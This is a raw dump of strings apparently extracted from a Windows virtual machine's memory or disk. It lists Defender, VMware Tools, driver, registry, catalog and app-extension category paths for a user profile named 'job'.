Defender\Support\MpWppCoreTracing-20260224-090600-00000003-100000000.bin \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\en-US\MpEvMsg.dll.mui:WofCompressedData \Device\HarddiskVolume3\ProgramData\VMware\VMware VGAuth\msgCatalogs\messages\en\VGAuthService.vmsg \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\LocalState rred \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Support\MpWppCoreTracing-20260224-090600-00000003-100000000.bin \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Support\MpWppCoreTracing-20260224-090600-00000003-100000000.bin \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpLics.dll WofCompressedData \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\prm.inf_amd64_7c38475757a1f016\prm.sys \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\webview2_integration.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Support\MpWppCoreTracing-20260224-090600-00000003-100000000.bin \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\AppData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpEvMsg.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpSvc.dll WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpClient.dll:WofCompressedData \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\VMware VGAuth\schemas\saml-schema-assertion-2.0.xsd \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpSvc.dll Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat Application\4a\dc ApplicationAndCategory\4a^windows.appExtension\dc Category\windows.appExtension\dc windows.appExtension Application\4b\dd ApplicationAndCategory\4b^windows.appExtension\dd Category\windows.appExtension\dd windows.appExtension Application\4b\de ApplicationAndCategory\4b^windows.appExtension\de Category\windows.appExtension\de windows.appExtension Application\4b\df ApplicationAndCategory\4b^windows.appExtension\df Category\windows.appExtension\df windows.appExtension Application\4b\e0 ApplicationAndCategory\4b^windows.appExtension\e0 Category\windows.appExtension\e0 windows.appExtension Application\4b\e1 ApplicationAndCategory\4b^windows.appExtension\e1 Category\windows.appExtension\e1 windows.appExtension Application\4b\e2 ApplicationAndCategory\4b^windows.appExtension\e2 Category\windows.appExtension\e2 windows.appExtension Application\4b\e3 ApplicationAndCategory\4b^windows.appExtension\e3 Category\windows.appExtension\e3 Application\4c\e7 ApplicationAndCategory\4c^windows.appExtension\e7 Category\windows.appExtension\e7 windows.appExtension Application\4c\e8 ApplicationAndCategory\4c^windows.appExtension\e8 Category\windows.appExtension\e8 windows.appExtension Application\4c\e9 ApplicationAndCategory\4c^windows.appExtension\e9 Category\windows.appExtension\e9 windows.appExtension Application\4c\ea ApplicationAndCategory\4c^windows.appExtension\ea Category\windows.appExtension\ea windows.appExtension windows.comServer Application\4b\e4 ApplicationAndCategory\4b^windows.comServer\e4 Category\windows.comServer\e4 windows.protocol Application\4c\e5 ApplicationAndCategory\4c^windows.protocol\e5 Category\windows.protocol\e5 windows.protocol Application\4c\e6 ApplicationAndCategory\4c^windows.protocol\e6 Category\windows.protocol\e6 windows.appExtension Application\4c\eb ApplicationAndCategory\4c^windows.appExtension\eb Category\windows.appExtension\eb windows.internal.componentUI Application\4c\ec ApplicationAndCategory\4c^windows.internal.componentUI\ec Category\windows.internal.componentUI\ec windows.appService Application\4c\ed ApplicationAndCategory\4c^windows.appService\ed Category\windows.appService\ed windows.backgroundTasks Application\4c\ee ApplicationAndCategory\4c^windows.backgroundTasks\ee Category\windows.backgroundTasks\ee windows.backgroundTasks Application\4c\ef ApplicationAndCategory\4c^windows.backgroundTasks\ef Category\windows.backgroundTasks\ef windows.updateTask Application\4c\f0 ApplicationAndCategory\4c^windows.updateTask\f0 Category\windows.updateTask\f0 windows.preInstalledConfigTask Application\4c\f1 ApplicationAndCategory\4c^windows.preInstalledConfigTask\f1 Category\windows.preInstalledConfigTask\f1 windows.appExtension Application\4d\f2 ApplicationAndCategory\4d^windows.appExtension\f2 Category\windows.appExtension\f2 windows.appExtension Application\4d\f3 ApplicationAndCategory\4d^windows.appExtension\f3 Category\windows.appExtension\f3 windows.appExtension Application\4e\f4 ApplicationAndCategory\4e^windows.appExtension\f4 Category\windows.appExtension\f4 windows.appExtension Application\4e\f5 ApplicationAndCategory\4e^windows.appExtension\f5 Category\windows.appExtension\f5 windows.appExtension Application\4f\f6 ApplicationAndCategory\4f^windows.appExtension\f6 Category\windows.appExtension\f6 windows.appExtension Application\4f\f7 ApplicationAndCategory\4f^windows.appExtension\f7 Category\windows.appExtension\f7 windows.appExtension Application\50\f8 ApplicationAndCategory\50^windows.appExtension\f8 Category\windows.appExtension\f8 windows.appExtension Application\50\f9 ApplicationAndCategory\50^windows.appExtension\f9 Category\windows.appExtension\f9 windows.appExtension Application\51\fa ApplicationAndCategory\51^windows.appExtension\fa Category\windows.appExtension\fa windows.appExtension Application\51\fb ApplicationAndCategory\51^windows.appExtension\fb Category\windows.appExtension\fb windows.protocol Application\52\fc ApplicationAndCategory\52^windows.protocol\fc Category\windows.protocol\fc windows.appExtension Application\52\fd ApplicationAndCategory\52^windows.appExtension\fd Category\windows.appExtension\fd windows.appExtension Application\52\fe ApplicationAndCategory\52^windows.appExtension\fe Category\windows.appExtension\fe windows.appExtension Application\52\ff ApplicationAndCategory\52^windows.appExtension\ff Category\windows.appExtension\ff windows.backgroundTasks Application\52\100 ApplicationAndCategory\52^windows.backgroundTasks\100 Category\windows.backgroundTasks\100 windows.backgroundTasks Application\52\101 ApplicationAndCategory\52^windows.backgroundTasks\101 Category\windows.backgroundTasks\101 windows.updateTask Application\52\102 ApplicationAndCategory\52^windows.updateTask\102 Category\windows.updateTask\102 windows.preInstalledConfigTask Application\52\103 ApplicationAndCategory\52^windows.preInstalledConfigTask\103 Category\windows.preInstalledConfigTask\103 windows.appExtension Application\52\104 ApplicationAndCategory\52^windows.appExtension\104 Category\windows.appExtension\104 windows.appExtension Application\53\105 ApplicationAndCategory\53^windows.appExtension\105 Category\windows.appExtension\105 windows.appExtension Application\53\106 ApplicationAndCategory\53^windows.appExtension\106 Category\windows.appExtension\106 windows.appExtension Application\53\107 ApplicationAndCategory\53^windows.appExtension\107 Category\windows.appExtension\107 windows.appExtension Application\54\108 ApplicationAndCategory\54^windows.appExtension\108 Category\windows.appExtension\108 windows.appExtension Application\54\109 ApplicationAndCategory\54^windows.appExtension\109 Category\windows.appExtension\109 windows.appExtension Application\54\10a ApplicationAndCategory\54^windows.appExtension\10a Category\windows.appExtension\10a windows.appExtension Application\55\10b ApplicationAndCategory\55^windows.appExtension\10b Category\windows.appExtension\10b windows.backgroundTasks Application\55\10c ApplicationAndCategory\55^windows.backgroundTasks\10c Category\windows.backgroundTasks\10c windows.updateTask Application\55\10d ApplicationAndCategory\55^windows.updateTask\10d Category\windows.updateTask\10d windows.preInstalledConfigTask Application\55\10e ApplicationAndCategory\55^windows.preInstalledConfigTask\10e Category\windows.preInstalledConfigTask\10e windows.appExtension Application\56\10f ApplicationAndCategory\56^windows.appExtension\10f Category\windows.appExtension\10f windows.appExtension Application\56\110 ApplicationAndCategory\56^windows.appExtension\110 Category\windows.appExtension\110 windows.appExtension Application\57\111 ApplicationAndCategory\57^windows.appExtension\111 Category\windows.appExtension\111 windows.comServer Application\57\112 ApplicationAndCategory\57^windows.comServer\112 Category\windows.comServer\112 windows.protocol Application\58\113 ApplicationAndCategory\58^windows.protocol\113 Category\windows.protocol\113 windows.appExtension Application\58\114 ApplicationAndCategory\58^windows.appExtension\114 Category\windows.appExtension\114 windows.appExtension Application\6f\163 ApplicationAndCategory\6f^windows.appExtension\163 Category\windows.appExtension\163 windows.appExtension Application\70\164 ApplicationAndCategory\70^windows.appExtension\164 Category\windows.appExtension\164 windows.appExtension Application\58\116 ApplicationAndCategory\58^windows.appExtension\116 Category\windows.appExtension\116 windows.appExtension Application\58\117 ApplicationAndCategory\58^windows.appExtension\117 Category\windows.appExtension\117 windows.appExtension Application\59\118 ApplicationAndCategory\59^windows.appExtension\118 Category\windows.appExtension\118 windows.appExtension Application\59\119 ApplicationAndCategory\59^windows.appExtension\119 Category\windows.appExtension\119 windows.appExtension Application\86\1a3 ApplicationAndCategory\86^windows.comServer\1a3 Category\windows.comServer\1a3 windows.comServer Application\86\1a4 ApplicationAndCategory\86^windows.comServer\1a4 Category\windows.comServer\1a4 Application\5a\11b ApplicationAndCategory\5a^windows.appExtension\11b Category\windows.appExtension\11b windows.appExtension Application\5a\11c ApplicationAndCategory\5a^windows.appExtension\11c Category\windows.appExtension\11c windows.appExtension Application\5a\11d ApplicationAndCategory\5a^windows.appExtension\11d Category\windows.appExtension\11d windows.appExtension Application\5b\11e ApplicationAndCategory\5b^windows.appExtension\11e Category\windows.appExtension\11e windows.appExtension Application\5b\11f ApplicationAndCategory\5b^windows.appExtension\11f Category\windows.appExtension\11f windows.appExtension Application\5c\120 ApplicationAndCategory\5c^windows.appExtension\120 Category\windows.appExtension\120 windows.appExtension Application\5c\121 ApplicationAndCategory\5c^windows.appExtension\121 Category\windows.appExtension\121 windows.appExtension ched Driver BasicRender Driver disk Driver HTTP Driver stornvme kd.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetViewUWP.AppX469087hs0ex42haejmxsa7brwb9frgy5.mca srv2.sys dps.dll MpDefenderCoreS \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData svchost \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata\000028.log ivationStore.dat.LOG1 kgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep dat.LOG1 Application\5d\122 ApplicationAndCategory\5d^windows.appExtension\122 Category\windows.appExtension\122 windows.appExtension Application\5d\123 ApplicationAndCategory\5d^windows.appExtension\123 Category\windows.appExtension\123 windows.appExtension Application\5d\124 ApplicationAndCategory\5d^windows.appExtension\124 Category\windows.appExtension\124 windows.appExtension Application\5e\125 ApplicationAndCategory\5e^windows.appExtension\125 Category\windows.appExtension\125 windows.appExtension Application\5e\126 ApplicationAndCategory\5e^windows.appExtension\126 Category\windows.appExtension\126 windows.appExtension Application\5f\127 ApplicationAndCategory\5f^windows.appExtension\127 Category\windows.appExtension\127 windows.appExtension Application\5f\128 ApplicationAndCategory\5f^windows.appExtension\128 Category\windows.appExtension\128 windows.appExtension Application\5f\129 ApplicationAndCategory\5f^windows.appExtension\129 Category\windows.appExtension\129 Application\60\12d ApplicationAndCategory\60^windows.appExtension\12d Category\windows.appExtension\12d windows.appExtension Application\60\12e ApplicationAndCategory\60^windows.appExtension\12e Category\windows.appExtension\12e windows.appExtension Application\60\12f ApplicationAndCategory\60^windows.appExtension\12f Category\windows.appExtension\12f windows.appExtension Application\60\130 ApplicationAndCategory\60^windows.appExtension\130 Category\windows.appExtension\130 windows.appExtension windows.appExtension Application\5f\12a ApplicationAndCategory\5f^windows.appExtension\12a Category\windows.appExtension\12a windows.aboveLockScreen Application\60\12b ApplicationAndCategory\60^windows.aboveLockScreen\12b Category\windows.aboveLockScreen\12b windows.protocol Application\60\12c ApplicationAndCategory\60^windows.protocol\12c Category\windows.protocol\12c windows.appExtension tcpipreg.sys PEAuth.sys SubC ClipSp.sys Microsof MsSecCore Driver HdAudAddService SubC clfs.sys Application\61\131 ApplicationAndCategory\61^windows.appExtension\131 Category\windows.appExtension\131 windows.appExtension Application\61\132 ApplicationAndCategory\61^windows.appExtension\132 Category\windows.appExtension\132 windows.appExtension Application\61\133 ApplicationAndCategory\61^windows.appExtension\133 Category\windows.appExtension\133 windows.protocol Application\6a\155 ApplicationAndCategory\6a^windows.appExtension\155 Category\windows.appExtension\155 windows.appExtension Application\6a\156 ApplicationAndCategory\6a^windows.appExtension\156 Category\windows.appExtension\156 windows.appExtension Application\6b\157 ApplicationAndCategory\6b^windows.appExtension\157 Category\windows.appExtension\157 windows.appExtension Application\6b\158 ApplicationAndCategory\6b^windows.appExtension\158 Category\windows.appExtension\158 Application\87\1a7 ApplicationAndCategory\87^windows.protocol\1a7 Category\windows.protocol\1a7 windows.appExtension Application\62\135 ApplicationAndCategory\62^windows.appExtension\135 Category\windows.appExtension\135 windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.protocoloverride Application\62\136 ApplicationAndCategory\62^windows.appExtensionHost\136 Category\windows.appExtensionHost\136 windows.appService Application\63\137 ApplicationAndCategory\63^windows.appService\137 Category\windows.appService\137 windows.appExtension Application\63\138 ApplicationAndCategory\63^windows.appExtension\138 Category\windows.appExtension\138 windows.appExtension Application\64\139 ApplicationAndCategory\64^windows.appExtension\139 Category\windows.appExtension\139 windows.appExtension Application\64\13a ApplicationAndCategory\64^windows.appExtension\13a Category\windows.appExtension\13a windows.appExtension windows.appService Application\9c\1fa ApplicationAndCategory\9c^windows.appService\1fa Category\windows.appService\1fa windows.protocol Application\9d\1fb ApplicationAndCategory\9d^windows.protocol\1fb Category\windows.protocol\1fb windows.protocol Application\65\13d ApplicationAndCategory\65^windows.appExtension\13d Category\windows.appExtension\13d windows.appExtension Application\66\13e ApplicationAndCategory\66^windows.appExtension\13e Category\windows.appExtension\13e windows.appExtension Application\66\13f ApplicationAndCategory\66^windows.appExtension\13f Category\windows.appExtension\13f windows.appExtension Application\66\140 ApplicationAndCategory\66^windows.appExtension\140 Category\windows.appExtension\140 windows.appExtension Application\66\141 ApplicationAndCategory\66^windows.appExtension\141 Category\windows.appExtension\141 windows.appExtension Application\66\142 ApplicationAndCategory\66^windows.appExtension\142 Category\windows.appExtension\142 windows.appExtension Application\66\143 ApplicationAndCategory\66^windows.appExtension\143 Category\windows.appExtension\143 windows.appExtension Application\66\144 ApplicationAndCategory\66^windows.appExtension\144 Category\windows.appExtension\144 windows.appExtension Application\66\145 ApplicationAndCategory\66^windows.appExtension\145 Category\windows.appExtension\145 windows.appExtension Application\66\146 ApplicationAndCategory\66^windows.appExtension\146 Category\windows.appExtension\146 windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\67\147 ApplicationAndCategory\67^windows.appExtensionHost\147 Category\windows.appExtensionHost\147 windows.appExtension Application\67\148 ApplicationAndCategory\67^windows.appExtension\148 Category\windows.appExtension\148 windows.appExtension Application\67\149 ApplicationAndCategory\67^windows.appExtension\149 Category\windows.appExtension\149 windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\68\14b ApplicationAndCategory\68^windows.appExtension\14b Category\windows.appExtension\14b windows.appExtension Application\68\14c ApplicationAndCategory\68^windows.appExtension\14c Category\windows.appExtension\14c windows.appExtension Application\68\14d ApplicationAndCategory\68^windows.appExtension\14d Category\windows.appExtension\14d windows.appExtension Application\68\14e ApplicationAndCategory\68^windows.appExtension\14e Category\windows.appExtension\14e windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\69\14f ApplicationAndCategory\69^windows.appExtensionHost\14f Category\windows.appExtensionHost\14f windows.appExtension Application\69\150 ApplicationAndCategory\69^windows.appExtension\150 Category\windows.appExtension\150 windows.appExtension Application\69\151 ApplicationAndCategory\69^windows.appExtension\151 Category\windows.appExtension\151 windows.appExtension C:\WINDOWS\WinSxS\Fusion\x86 x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a.manifest \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vm3dservice.exe gramData\Microsoft\Windows\A telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.jsongdep \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\Windows NT\CurrentVersion\Windows\EnhancedPenSupport \ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1 LOCALS~1.TMPLocal State~RFdb9a.TMP ISTRY\USER\S-1-5-21-39148898eMicrosoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat ISTRY\USER\S-1-5-21-39148898 x86_microsoft.windows.systemcompatible_6595b64144ccf1df_6.0.26100.1_none_4b76b994e0e77783.manifest \ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG2 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe\ActivationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1001\Preferred \ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf \ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep gramData\Microsoft\Windows\A telemetry.P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451.jsongdep ISTRY\USER\S-1-5-21-39148898aMicrosoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\component_crx_cache\metadata.json IMAGELOAD \Device\HarddiskVolume3\Windows\System32\secur32.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1001\Preferred C:\WINDOWS\assembly\GAC_32\M x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077.manifest C:\WINDOWS\WinSxS\manifests\bMicrosoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.catest vice\HarddiskVolume3indows\A telemetry.P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485.jsongdep Application\69\152 ApplicationAndCategory\69^windows.appExtension\152 Category\windows.appExtension\152 windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\6a\153 ApplicationAndCategory\6a^windows.appExtensionHost\153 Category\windows.appExtensionHost\153 windows.appExtension Application\6a\154 ApplicationAndCategory\6a^windows.appExtension\154 Category\windows.appExtension\154 windows.appExtension werkernel.sys \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_80240018_d1bce6b9494efaabd66c17c49c7e52e8f2e70d0_00000000_d58160c1-a82e-4b52-9c3c-dfae564889c5\Report.wer \Public \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData ntoskrnl.exe \Device\HarddiskVolume3\Windows\WinSxS\Manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077.manifest hal.dll S-1-5-18 \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe ksecdd.sys vm3dservice.exe VMware VGAuth SubC cmimcext.sys wmilib.sys trkwks.dll windows.appExtension Application\6c\159 ApplicationAndCategory\6c^windows.appExtension\159 Category\windows.appExtension\159 windows.appExtension Application\6c\15a ApplicationAndCategory\6c^windows.appExtension\15a Category\windows.appExtension\15a windows.appExtension Application\6c\15b ApplicationAndCategory\6c^windows.appExtension\15b Category\windows.appExtension\15b windows.appExtension Application\6c\15c ApplicationAndCategory\6c^windows.appExtension\15c Category\windows.appExtension\15c windows.appExtension Application\6d\15d ApplicationAndCategory\6d^windows.appExtension\15d Category\windows.appExtension\15d windows.appExtension Application\6d\15e ApplicationAndCategory\6d^windows.appExtension\15e Category\windows.appExtension\15e windows.appExtension Application\6e\15f ApplicationAndCategory\6e^windows.appExtension\15f Category\windows.appExtension\15f windows.appExtension Application\6e\160 ApplicationAndCategory\6e^windows.appExtension\160 Category\windows.appExtension\160 windows.appExtension Application\6e\161 ApplicationAndCategory\6e^windows.appExtension\161 Category\windows.appExtension\161 windows.appExtension Application\6f\162 ApplicationAndCategory\6f^windows.appExtension\162 Category\windows.appExtension\162 windows.appExtension Application\70\165 ApplicationAndCategory\70^windows.appExtension\165 Category\windows.appExtension\165 windows.appExtension Application\70\166 ApplicationAndCategory\70^windows.appExtension\166 Category\windows.appExtension\166 windows.appExtension Application\70\167 ApplicationAndCategory\70^windows.appExtension\167 Category\windows.appExtension\167 windows.appExtension Application\71\168 ApplicationAndCategory\71^windows.appExtension\168 Category\windows.appExtension\168 windows.appExtension Application\71\169 ApplicationAndCategory\71^windows.appExtension\169 Category\windows.appExtension\169 windows.protocol Application\72\16a ApplicationAndCategory\72^windows.protocol\16a Category\windows.protocol\16a windows.appExtension Application\72\16b ApplicationAndCategory\72^windows.appExtension\16b Category\windows.appExtension\16b windows.internal.componentUI Application\72\16c ApplicationAndCategory\72^windows.internal.componentUI\16c Category\windows.internal.componentUI\16c windows.appService Application\72\16d ApplicationAndCategory\72^windows.appService\16d Category\windows.appService\16d windows.backgroundTasks Application\72\16e ApplicationAndCategory\72^windows.backgroundTasks\16e Category\windows.backgroundTasks\16e windows.backgroundTasks Application\72\16f ApplicationAndCategory\72^windows.backgroundTasks\16f Category\windows.backgroundTasks\16f windows.updateTask Application\72\170 ApplicationAndCategory\72^windows.updateTask\170 Category\windows.updateTask\170 windows.preInstalledConfigTask Application\74\174 ApplicationAndCategory\74^windows.appExtension\174 Category\windows.appExtension\174 windows.appExtension Application\74\175 ApplicationAndCategory\74^windows.appExtension\175 Category\windows.appExtension\175 windows.appExtension Application\75\176 ApplicationAndCategory\75^windows.appExtension\176 Category\windows.appExtension\176 windows.appExtension Application\75\177 ApplicationAndCategory\75^windows.appExtension\177 Category\windows.appExtension\177 windows.appExtensionHost Application\72\171 ApplicationAndCategory\72^windows.preInstalledConfigTask\171 Category\windows.preInstalledConfigTask\171 windows.appExtension Application\73\172 ApplicationAndCategory\73^windows.appExtension\172 Category\windows.appExtension\172 windows.appExtension Application\74\173 ApplicationAndCategory\74^windows.appExtension\173 Category\windows.appExtension\173 windows.appExtension bc90d167-9470-4139-a9ba-be0bbbf5b74d b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86 \Device\HarddiskVolume3\Windows\System32\sihost.exe \Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalState\IrisCampaignsAssets 000010~1.DBT000010.dbtmp \Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache bc90d167-9470-4139-a9ba-be0bbbf5b74d ae2dc901-312d-41df-8b79-e835e63db874 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\el.pak \REGISTRY\MACHINE\SOFTWA {02D4B3F1-FD88-11D1-960D-00805FC79235}.{467943E8-27D5-4CDC-B8E0-FC9CC5256F9A}.crmlog atMANIFE~2MANIFEST-000007 crosoft.BingSearch_1.1.43.0_UMicrosoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Cache\Protocol\Data\55 \Device\HarddiskVolume3\Windows\System32\taskhostw.exe nsion\1ef\66 FileType\.heic\ Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx UMicrosoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\svchost.exe \REGISTRY\MACHINE\SOFTWA Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\VMware VGAuth\schemas\saml-schema-assertion-2.0.xsd ppExtension\Data\cf Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Eion\AppModel\StateRepository\Cache\Protocol\Data\5d enMANIFE~2MANIFEST-000007 6aces\{e33fa66e-dbec-40a2-8aa4-e7c085f48539} NT TASK\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskNetwork \Device\HarddiskVolume3\Windows\System32\wbem\WmiPrvSE.exe Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\SearchIndexer.exe bc90d167-9470-4139-a9ba-be0bbbf5b74d 64d1d045-f675-460b-8a94-570246b36dab bc90d167-9470-4139-a9ba-be0bbbf5b74d 9435cc56-1d9c-4924-ac7d-b60a2c3520e1 en000010~1.DBT000010.dbtmp ta\116 @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\76\178 ApplicationAndCategory\76^windows.appExtensionHost\178 Category\windows.appExtensionHost\178 windows.appExtension Application\76\179 ApplicationAndCategory\76^windows.appExtension\179 Category\windows.appExtension\179 windows.appExtension Application\76\17a ApplicationAndCategory\76^windows.appExtension\17a Category\windows.appExtension\17a windows.appExtension Application\76\17b ApplicationAndCategory\76^windows.appExtension\17b Category\windows.appExtension\17b windows.appExtension Application\77\17c ApplicationAndCategory\77^windows.appExtension\17c Category\windows.appExtension\17c windows.barcodeScannerProvider Application\79\17f ApplicationAndCategory\79^windows.barcodeScannerProvider\17f Category\windows.barcodeScannerProvider\17f windows.barcodeScannerPreviewProvider Application\bd\2b0 ApplicationAndCategory\bd^windows.activatableClass.outOfProcessServer\2b0 Category\windows.activatableClass.outOfProcessServer\2b0 Application\bd\2b1 ApplicationAndCategory\bd^windows.appExtension\2b1 Category\windows.appExtension\2b1 windows.appExtension Application\bd\2b2 ApplicationAndCategory\bd^windows.appExtension\2b2 Category\windows.appExtension\2b2 windows.protocol Application\9d\1fc ApplicationAndCategory\9d^windows.protocol\1fc Category\windows.protocol\1fc windows.appExtension windows.protocol Application\87\1a8 ApplicationAndCategory\87^windows.protocol\1a8 Category\windows.protocol\1a8 windows.protocol Application\87\1a9 ApplicationAndCategory\87^windows.protocol\1a9 Category\windows.protocol\1a9 windows.protocol Application\87\1aa ApplicationAndCategory\87^windows.protocol\1aa Category\windows.protocol\1aa windows.protocol Application\87\1ab ApplicationAndCategory\87^windows.protocol\1ab Category\windows.protocol\1ab windows.protocol vmtoolsd.exe Wdf01000.sys WppRecorder.sys wininet.dll diagtrack.dll Support tdh.dll ice\AppData\Local S-1-5-18 \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vm3dservice.exe MsMpEng.exe iphlpsvc.dll wtd.sys Application\9e\1ff ApplicationAndCategory\9e^windows.protocol\1ff 